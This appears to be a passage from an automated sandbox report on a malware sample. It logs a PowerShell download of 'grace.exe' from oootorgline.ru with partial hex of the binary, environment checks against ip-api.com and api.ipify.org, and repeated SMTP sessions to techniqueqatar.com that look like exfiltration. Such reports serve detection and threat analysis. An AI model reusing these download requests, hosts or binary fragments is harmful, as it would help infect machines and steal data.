Sep 27, 2024 10:39:46.221868038 CEST	443	60910	104.26.13.205	192.168.2.6
Sep 27, 2024 10:39:46.274990082 CEST	60910	443	192.168.2.6	104.26.13.205
Sep 27, 2024 10:39:46.276988983 CEST	60910	443	192.168.2.6	104.26.13.205
Sep 27, 2024 10:39:46.319406986 CEST	443	60910	104.26.13.205	192.168.2.6
Sep 27, 2024 10:39:46.385106087 CEST	443	60910	104.26.13.205	192.168.2.6
Sep 27, 2024 10:39:46.385268927 CEST	443	60910	104.26.13.205	192.168.2.6
Sep 27, 2024 10:39:46.385333061 CEST	60910	443	192.168.2.6	104.26.13.205
Sep 27, 2024 10:39:46.387859106 CEST	60910	443	192.168.2.6	104.26.13.205
Sep 27, 2024 10:39:46.397775888 CEST	60911	80	192.168.2.6	208.95.112.1
Sep 27, 2024 10:39:46.402719975 CEST	80	60911	208.95.112.1	192.168.2.6
Sep 27, 2024 10:39:46.402801037 CEST	60911	80	192.168.2.6	208.95.112.1
Sep 27, 2024 10:39:46.402874947 CEST	60911	80	192.168.2.6	208.95.112.1
Sep 27, 2024 10:39:46.407691002 CEST	80	60911	208.95.112.1	192.168.2.6
Sep 27, 2024 10:39:46.875243902 CEST	80	60911	208.95.112.1	192.168.2.6
Sep 27, 2024 10:39:46.931253910 CEST	60911	80	192.168.2.6	208.95.112.1
Sep 27, 2024 10:39:47.453233957 CEST	60911	80	192.168.2.6	208.95.112.1
Sep 27, 2024 10:39:47.462544918 CEST	80	60911	208.95.112.1	192.168.2.6
Sep 27, 2024 10:39:47.465125084 CEST	60911	80	192.168.2.6	208.95.112.1
Sep 27, 2024 10:39:47.577843904 CEST	60905	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:47.916186094 CEST	60912	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:47.921051979 CEST	587	60912	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:47.922200918 CEST	60912	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:48.495675087 CEST	587	60912	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:48.495978117 CEST	60912	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:48.500937939 CEST	587	60912	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:48.656013012 CEST	587	60912	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:48.659544945 CEST	60912	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:48.664441109 CEST	587	60912	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:48.820480108 CEST	587	60912	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:48.821693897 CEST	60912	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:48.826534986 CEST	587	60912	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:48.983197927 CEST	587	60912	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:48.983772993 CEST	60912	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:48.988679886 CEST	587	60912	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:49.212616920 CEST	587	60912	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:49.212950945 CEST	60912	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:49.217976093 CEST	587	60912	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:49.374878883 CEST	587	60912	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:49.375241995 CEST	60912	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:49.380176067 CEST	587	60912	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:49.537868023 CEST	587	60912	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:49.538279057 CEST	60912	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:49.543131113 CEST	587	60912	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:49.868890047 CEST	587	60912	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:49.869097948 CEST	60912	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:49.873902082 CEST	587	60912	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:50.049453020 CEST	587	60912	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:50.049995899 CEST	60912	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:50.050060987 CEST	60912	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:50.050084114 CEST	60912	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:50.050106049 CEST	60912	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:50.056091070 CEST	587	60912	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:50.056102991 CEST	587	60912	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:50.056113005 CEST	587	60912	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:50.056123972 CEST	587	60912	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:50.316258907 CEST	587	60912	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:50.353040934 CEST	60912	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:50.358016014 CEST	587	60912	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:50.514698029 CEST	587	60912	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:50.515012980 CEST	60912	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:50.515746117 CEST	60913	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:50.520318031 CEST	587	60912	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:50.520392895 CEST	60912	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:50.520597935 CEST	587	60913	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:50.520673990 CEST	60913	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:51.066147089 CEST	587	60913	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:51.066314936 CEST	60913	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:51.071264029 CEST	587	60913	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:51.221191883 CEST	587	60913	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:51.221904993 CEST	60913	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:51.226787090 CEST	587	60913	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:51.378034115 CEST	587	60913	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:51.378743887 CEST	60913	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:51.385137081 CEST	587	60913	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:51.535609007 CEST	587	60913	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:51.535824060 CEST	60913	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:51.540633917 CEST	587	60913	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:51.690300941 CEST	587	60913	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:51.690522909 CEST	60913	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:51.695416927 CEST	587	60913	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:51.846152067 CEST	587	60913	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:51.851798058 CEST	60913	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:51.856807947 CEST	587	60913	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:52.008380890 CEST	587	60913	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:52.008574009 CEST	60913	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:52.013519049 CEST	587	60913	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:52.164768934 CEST	587	60913	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:52.165067911 CEST	60913	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:52.169914961 CEST	587	60913	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:52.337244987 CEST	587	60913	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:52.339211941 CEST	60913	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:52.339257002 CEST	60913	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:52.339281082 CEST	60913	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:52.339313030 CEST	60913	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:52.339349031 CEST	60913	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:52.339375973 CEST	60913	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:52.339401007 CEST	60913	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:52.339423895 CEST	60913	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:52.339445114 CEST	60913	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:52.339463949 CEST	60913	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:52.344127893 CEST	587	60913	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:52.344288111 CEST	587	60913	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:52.344558001 CEST	587	60913	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:52.499825954 CEST	587	60913	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:52.540688038 CEST	60913	587	192.168.2.6	208.91.198.176

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2024 10:39:05.030292988 CEST	53	62815	1.1.1.1	192.168.2.6
Sep 27, 2024 10:39:10.812020063 CEST	53715	53	192.168.2.6	1.1.1.1
Sep 27, 2024 10:39:11.079967976 CEST	53	53715	1.1.1.1	192.168.2.6
Sep 27, 2024 10:39:28.306246996 CEST	50273	53	192.168.2.6	1.1.1.1
Sep 27, 2024 10:39:28.313357115 CEST	53	50273	1.1.1.1	192.168.2.6
Sep 27, 2024 10:39:29.701720953 CEST	64177	53	192.168.2.6	1.1.1.1
Sep 27, 2024 10:39:29.708399057 CEST	53	64177	1.1.1.1	192.168.2.6
Sep 27, 2024 10:39:30.854154110 CEST	60318	53	192.168.2.6	1.1.1.1
Sep 27, 2024 10:39:31.170962095 CEST	53	60318	1.1.1.1	192.168.2.6
Sep 27, 2024 10:39:32.814682961 CEST	53	55497	162.159.36.2	192.168.2.6
Sep 27, 2024 10:39:33.268306971 CEST	59244	53	192.168.2.6	1.1.1.1
Sep 27, 2024 10:39:33.275362015 CEST	53	59244	1.1.1.1	192.168.2.6
Sep 27, 2024 10:39:45.745012045 CEST	50119	53	192.168.2.6	1.1.1.1
Sep 27, 2024 10:39:45.751518011 CEST	53	50119	1.1.1.1	192.168.2.6
Sep 27, 2024 10:39:46.390655041 CEST	52756	53	192.168.2.6	1.1.1.1
Sep 27, 2024 10:39:46.397241116 CEST	53	52756	1.1.1.1	192.168.2.6
Sep 27, 2024 10:39:47.453769922 CEST	56561	53	192.168.2.6	1.1.1.1
Sep 27, 2024 10:39:47.905328989 CEST	53	56561	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 27, 2024 10:39:10.812020063 CEST	192.168.2.6	1.1.1.1	0x5ff	Standard query (0)	oootorgline.ru	A (IP address)	IN (0x0001)	false
Sep 27, 2024 10:39:28.306246996 CEST	192.168.2.6	1.1.1.1	0xb555	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 10:39:29.701720953 CEST	192.168.2.6	1.1.1.1	0x41be	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 10:39:30.854154110 CEST	192.168.2.6	1.1.1.1	0x7ea4	Standard query (0)	techniqueqatar.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 10:39:33.268306971 CEST	192.168.2.6	1.1.1.1	0xb415	Standard query (0)	171.39.242.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Sep 27, 2024 10:39:45.745012045 CEST	192.168.2.6	1.1.1.1	0x55f1	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 10:39:46.390655041 CEST	192.168.2.6	1.1.1.1	0x777f	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 10:39:47.453769922 CEST	192.168.2.6	1.1.1.1	0x2d1	Standard query (0)	techniqueqatar.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 27, 2024 10:39:11.079967976 CEST	1.1.1.1	192.168.2.6	0x5ff	No error (0)	oootorgline.ru		176.99.3.36	A (IP address)	IN (0x0001)	false
Sep 27, 2024 10:39:28.313357115 CEST	1.1.1.1	192.168.2.6	0xb555	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Sep 27, 2024 10:39:28.313357115 CEST	1.1.1.1	192.168.2.6	0xb555	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Sep 27, 2024 10:39:28.313357115 CEST	1.1.1.1	192.168.2.6	0xb555	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Sep 27, 2024 10:39:29.708399057 CEST	1.1.1.1	192.168.2.6	0x41be	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Sep 27, 2024 10:39:31.170962095 CEST	1.1.1.1	192.168.2.6	0x7ea4	No error (0)	techniqueqatar.com		208.91.198.176	A (IP address)	IN (0x0001)	false
Sep 27, 2024 10:39:33.275362015 CEST	1.1.1.1	192.168.2.6	0xb415	Name error (3)	171.39.242.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Sep 27, 2024 10:39:45.751518011 CEST	1.1.1.1	192.168.2.6	0x55f1	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Sep 27, 2024 10:39:45.751518011 CEST	1.1.1.1	192.168.2.6	0x55f1	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Sep 27, 2024 10:39:45.751518011 CEST	1.1.1.1	192.168.2.6	0x55f1	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Sep 27, 2024 10:39:46.397241116 CEST	1.1.1.1	192.168.2.6	0x777f	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Sep 27, 2024 10:39:47.905328989 CEST	1.1.1.1	192.168.2.6	0x2d1	No error (0)	techniqueqatar.com		208.91.198.176	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

oootorgline.ru

api.ipify.org

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	61254	208.95.112.1	80	4412	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 10:39:29.714550018 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Sep 27, 2024 10:39:30.175986052 CEST	175	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 08:39:29 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 45 X-Rl: 43 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	60911	208.95.112.1	80	5768	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 10:39:46.402874947 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Sep 27, 2024 10:39:46.875243902 CEST	175	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 08:39:46 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 28 X-Rl: 42 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	61245	176.99.3.36	443	1824	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 08:39:12 UTC	179	OUT	GET /components/grace.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: oootorgline.ru Connection: Keep-Alive
2024-09-27 08:39:12 UTC	306	IN	HTTP/1.1 200 OK Server: nginx/1.20.2 Date: Fri, 27 Sep 2024 08:39:12 GMT Content-Type: application/octet-stream Content-Length: 1305263 Connection: close Last-Modified: Fri, 27 Sep 2024 01:23:14 GMT ETag: "13eaaf-6230fb2f7c813" Accept-Ranges: bytes Strict-Transport-Security: max-age=31536000;
2024-09-27 08:39:12 UTC	16078	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c2 1e 94 bf 86 7f fa ec 86 7f fa ec 86 7f fa ec 15 31 62 ec 84 7f fa ec 9d e2 50 ec 29 7f fa ec 9d e2 51 ec b3 7f fa ec 8f 07 79 ec 8f 7f fa ec 8f 07 69 ec a7 7f fa ec 86 7f fb ec 96 7d fa ec 9d e2 4e ec ce 7f fa ec 9d e2 64 ec 9a 7f fa ec 9d e2 60 ec 87 7f fa ec 86 7f 6d ec 87 7f fa ec 9d e2 67 ec 87 7f fa ec 52 69 63 68 86 7f fa ec 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1bP)Qyi}Nd`mgRichPEL
2024-09-27 08:39:12 UTC	16384	IN	Data Raw: 89 0d 38 35 49 00 c7 05 40 35 49 00 ac a6 48 00 89 1d 50 35 49 00 89 1d 54 35 49 00 89 35 58 35 49 00 bb e6 a7 45 00 89 1d 70 35 49 00 33 db 89 1d 74 35 49 00 89 1d 78 35 49 00 bb 2a 72 47 00 89 1d 94 35 49 00 33 db 89 1d 98 35 49 00 89 1d 9c 35 49 00 bb 37 c9 45 00 89 1d b8 35 49 00 33 db 89 1d bc 35 49 00 89 1d c0 35 49 00 bb c1 c8 45 00 89 1d dc 35 49 00 33 db 89 1d e0 35 49 00 89 1d e4 35 49 00 bb 72 81 47 00 89 1d 00 36 49 00 33 db 89 1d 04 36 49 00 89 1d 08 36 49 00 bb 1e c5 45 00 89 1d 24 36 49 00 33 db 89 1d 28 36 49 00 89 1d 2c 36 49 00 bb 62 c8 45 00 89 1d 48 36 49 00 33 db 89 1d 4c 36 49 00 89 1d 50 36 49 00 bb ad 55 47 00 89 1d 6c 36 49 00 33 db 89 1d 70 36 49 00 89 1d 74 36 49 00 bb 96 55 47 00 89 1d 90 36 49 00 33 db 89 1d 94 36 49 00 89 1d Data Ascii: 85I@5IHP5IT5I5X5IEp5I3t5Ix5I*rG5I35I5I7E5I35I5IE5I35I5IrG6I36I6IE$6I3(6I,6IbEH6I3L6IP6IUGl6I3p6It6IUG6I36I
2024-09-27 08:39:12 UTC	16384	IN	Data Raw: 00 c7 05 a4 64 49 00 a8 83 48 00 89 15 b8 64 49 00 89 15 bc 64 49 00 89 15 c0 64 49 00 c7 05 c8 64 49 00 80 83 48 00 89 15 dc 64 49 00 89 15 e0 64 49 00 89 15 e4 64 49 00 c7 05 ec 64 49 00 70 83 48 00 89 3d fc 64 49 00 89 15 00 65 49 00 c7 05 08 65 49 00 07 00 00 00 c7 05 10 65 49 00 58 83 48 00 89 15 20 65 49 00 89 3d 24 65 49 00 89 0d 28 65 49 00 89 0d 2c 65 49 00 c7 05 34 65 49 00 40 83 48 00 be 42 b0 47 00 89 35 40 65 49 00 be f9 ac 47 00 89 35 64 65 49 00 be 6a a2 47 00 89 35 88 65 49 00 be c3 15 48 00 89 35 ac 65 49 00 be 6a 15 48 00 89 35 d0 65 49 00 be b8 14 48 00 89 35 f4 65 49 00 be 11 15 48 00 89 3d 48 65 49 00 89 3d 6c 65 49 00 89 3d 90 65 49 00 89 3d b4 65 49 00 89 3d d8 65 49 00 89 3d fc 65 49 00 89 3d 1c 66 49 00 5f 89 35 18 66 49 00 5e 89 Data Ascii: dIHdIdIdIdIHdIdIdIdIpH=dIeIeIeIXH eI=$eI(eI,eI4eI@HBG5@eIG5deIjG5eIH5eIjH5eIH5eIH=HeI=leI=eI=eI=eI=eI=fI_5fI^
2024-09-27 08:39:12 UTC	16384	IN	Data Raw: 84 4a 00 a3 84 82 4a 00 a3 88 82 4a 00 c7 05 f0 85 4a 00 64 00 00 00 89 0d 6c 84 4a 00 89 0d 8c 82 4a 00 b8 78 81 4a 00 5b 8b e5 5d c3 cc cc cc cc cc 55 8b ec 83 ec 24 53 56 8b f1 57 8b f8 8b 46 08 8b 57 08 8d 0c 40 8d 0c 8a 8b 0c 8d e8 21 49 00 49 83 f9 0a 0f 87 a6 c2 01 00 ff 24 8d 98 cb 40 00 8b ce e8 18 fb ff ff 8b cf 8b f0 e8 0f fb ff ff 3b f0 0f 85 2d c1 01 00 b8 01 00 00 00 5f 5e 5b 8b e5 5d c3 83 fa 04 0f 85 ee c0 01 00 83 7e 08 04 8b 7f 0c 0f 85 f6 c0 01 00 8b 76 0c 8b 4f 04 8b 3f 8b 16 57 52 8b 56 04 33 c0 e8 0f 1c 00 00 85 c0 0f 85 ed c0 01 00 5f 5e b8 01 00 00 00 5b 8b e5 5d c3 8d 49 00 31 cb 40 00 7d 8c 42 00 9f 8c 42 00 55 cb 40 00 d0 8d 42 00 d0 8d 42 00 c1 8c 42 00 0f 8d 42 00 db 8c 42 00 f5 8c 42 00 3f 8d 42 00 cc cc cc cc cc cc cc cc cc Data Ascii: JJJJdlJJxJ[]U$SVWFW@!II$@;-_^[]~vO?WRV3_^[]I1@}BBU@BBBBBB?B
2024-09-27 08:39:12 UTC	16384	IN	Data Raw: 5e 10 89 5e 14 66 89 5e 18 53 89 5e 1a 66 89 5e 1e 6a 5b c7 46 0c 04 00 00 00 ff d7 53 6a 10 88 46 29 ff d7 53 68 a0 00 00 00 88 46 26 ff d7 53 68 a1 00 00 00 88 46 27 ff d7 53 6a 11 88 46 28 ff d7 53 6a 12 88 46 24 ff d7 5f 88 46 25 5b c3 cc cc 33 c9 ba 01 00 00 00 89 08 89 50 08 89 48 0c 88 48 10 89 48 14 88 48 18 89 48 20 89 50 28 89 48 2c 88 48 30 c3 cc cc cc cc cc cc cc cc cc cc cc 8b ce e8 f9 16 ff ff 56 e8 7f 06 00 00 83 c4 04 8b c6 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b f0 57 e8 27 d5 ff ff 8b 47 10 89 46 10 8b 4f 14 89 4e 14 8b 57 18 89 56 18 8b 47 1c 89 46 1c 8b c6 5e c3 cc cc cc cc cc cc cc cc cc cc cc 57 8b f9 c7 07 ac 4e 48 00 e8 22 0e ff ff 8b 47 04 50 e8 25 06 00 00 83 c4 04 5f c3 cc cc cc cc 8b c6 e8 29 1b ff ff 8b 46 04 8b 0e 50 Data Ascii: ^^f^S^f^j[FSjF)ShF&ShF'SjF(SjF$_F%[3PHHHHH P(H,H0VVW'GFONWVGF^WNH"GP%_)FP
2024-09-27 08:39:12 UTC	16384	IN	Data Raw: 89 4d f8 89 5d fc 85 ff 74 1a 83 7d 14 00 74 14 85 c9 75 17 e8 90 34 00 00 c7 00 16 00 00 00 e8 33 34 00 00 33 c0 5f 5e 5b c9 c3 8b 75 18 85 f6 74 0c 83 c8 ff 33 d2 f7 f7 39 45 14 76 21 83 fb ff 74 0c 53 6a 00 51 e8 26 e4 ff ff 83 c4 0c 85 f6 74 c1 83 c8 ff 33 d2 f7 f7 39 45 14 77 b5 0f af 7d 14 f7 46 0c 0c 01 00 00 89 7d f0 8b df 74 08 8b 46 18 89 45 f4 eb 07 c7 45 f4 00 10 00 00 85 ff 0f 84 da 00 00 00 f7 46 0c 0c 01 00 00 74 44 8b 46 04 85 c0 74 3d 0f 88 f2 00 00 00 8b fb 3b d8 72 02 8b f8 3b 7d fc 0f 87 bb 00 00 00 57 ff 36 ff 75 fc ff 75 f8 e8 37 95 00 00 29 7e 04 01 3e 01 7d f8 2b df 83 c4 10 29 7d fc 8b 7d f0 e9 85 00 00 00 3b 5d f4 72 5c 83 7d f4 00 74 1f b9 ff ff ff 7f 33 d2 3b d9 76 09 8b c1 f7 75 f4 8b c1 eb 07 8b c3 f7 75 f4 8b c3 2b c2 eb 0b Data Ascii: M]t}tu4343_^[ut39Ev!tSjQ&t39Ew}F}tFEEFtDFt=;r;}W6uu7)~>}+)}};]r\}t3;vuu+
2024-09-27 08:39:12 UTC	16384	IN	Data Raw: 7c dd 83 7d 10 24 7f d7 83 65 fc 00 53 56 6a 08 5b 0f b7 37 53 56 83 c7 02 e8 57 04 00 00 59 59 85 c0 75 ed 66 83 fe 2d 75 06 83 4d 14 02 eb 06 66 83 fe 2b 75 06 0f b7 37 83 c7 02 83 7d 10 00 75 2d 56 e8 a6 77 00 00 59 85 c0 74 09 c7 45 10 0a 00 00 00 eb 3e 0f b7 07 83 f8 78 74 0a 83 f8 58 74 05 89 5d 10 eb 2c c7 45 10 10 00 00 00 83 7d 10 10 75 1f 56 e8 73 77 00 00 59 85 c0 75 14 0f b7 07 83 f8 78 74 05 83 f8 58 75 07 0f b7 77 02 83 c7 04 83 c8 ff 33 d2 f7 75 10 89 55 f8 8b d8 56 e8 47 77 00 00 59 83 f8 ff 75 29 6a 41 58 66 3b c6 77 06 66 83 fe 5a 76 09 8d 46 9f 66 83 f8 19 77 31 8d 46 9f 66 83 f8 19 0f b7 c6 77 03 83 e8 20 83 c0 c9 3b 45 10 73 1a 83 4d 14 08 39 5d fc 72 2a 75 05 3b 45 f8 76 23 83 4d 14 04 83 7d 0c 00 75 25 8b 45 14 83 ef 02 a8 08 75 26 Data Ascii: \|}$eSVj[7SVWYYuf-uMf+u7}u-VwYtE>xtXt],E}uVswYuxtXuw3uUVGwYu)jAXf;wfZvFfw1Ffw ;EsM9]r*u;Ev#M}u%Eu&
2024-09-27 08:39:12 UTC	16384	IN	Data Raw: 23 c1 74 35 3d 00 04 00 00 74 22 3d 00 08 00 00 74 0c 3b c1 75 29 8b 45 08 83 08 03 eb 21 8b 45 08 8b 08 83 e1 fe 83 c9 02 89 08 eb 12 8b 45 08 8b 08 83 e1 fd 0b cb eb f0 8b 45 08 83 20 fc 8b 06 b9 00 03 00 00 23 c1 74 20 3d 00 02 00 00 74 0c 3b c1 75 22 8b 45 08 83 20 e3 eb 1a 8b 45 08 8b 08 83 e1 e7 83 c9 04 eb 0b 8b 45 08 8b 08 83 e1 eb 83 c9 08 89 08 8b 45 08 8b 4d 14 c1 e1 05 33 08 81 e1 e0 ff 01 00 31 08 8b 45 08 09 58 20 39 7d 20 8b 45 08 8b 7d 1c 74 26 83 60 20 e1 8b 45 18 d9 00 8b 45 08 d9 58 10 8b 45 08 09 58 60 8b 45 08 83 60 60 e1 d9 07 8b 45 08 d9 58 50 eb 34 8b 48 20 83 e1 e3 83 c9 02 89 48 20 8b 45 18 dd 00 8b 45 08 dd 58 10 8b 45 08 09 58 60 8b 45 08 8b 48 60 83 e1 e3 83 c9 02 89 48 60 dd 07 8b 45 08 dd 58 50 e8 d6 04 00 00 8d 45 08 50 53 Data Ascii: #t5=t"=t;u)E!EEE #t =t;u"E EEEM31EX 9} E}t&` EEXEX`E``EXP4H H EEXEX`EH`H`EXPEPS
2024-09-27 08:39:12 UTC	16384	IN	Data Raw: d3 e0 6a 03 59 21 06 8b 45 d8 40 3b c1 7d 0a 8d 7c 85 f0 2b c8 33 c0 f3 ab 83 7d dc 00 74 01 43 a1 04 11 49 00 8b c8 2b 0d 08 11 49 00 3b d9 7d 0d 33 c0 8d 7d f0 ab ab ab e9 09 02 00 00 3b d8 0f 8f 0b 02 00 00 2b 45 d4 8d 75 e4 8b c8 8d 7d f0 a5 99 83 e2 1f 03 c2 a5 8b d1 c1 f8 05 81 e2 1f 00 00 80 a5 79 05 4a 83 ca e0 42 83 65 d8 00 83 65 e0 00 83 cf ff 8b ca d3 e7 c7 45 dc 20 00 00 00 29 55 dc f7 d7 8b 5d e0 8d 5c 9d f0 8b 33 8b ce 23 cf 89 4d d4 8b ca d3 ee 8b 4d dc 0b 75 d8 89 33 8b 75 d4 d3 e6 ff 45 e0 83 7d e0 03 89 75 d8 7c d3 8b f0 6a 02 c1 e6 02 8d 4d f8 5a 2b ce 3b d0 7c 08 8b 31 89 74 95 f0 eb 05 83 64 95 f0 00 83 e9 04 4a 79 e9 8b 35 08 11 49 00 4e 8d 46 01 99 83 e2 1f 03 c2 c1 f8 05 8d 56 01 81 e2 1f 00 00 80 89 45 d0 79 05 4a 83 ca e0 42 6a Data Ascii: jY!E@;}\|+3}tCI+I;}3};+Eu}yJBeeE )U]\3#MMu3uE}u\|jMZ+;\|1tdJy5INFVEyJBj
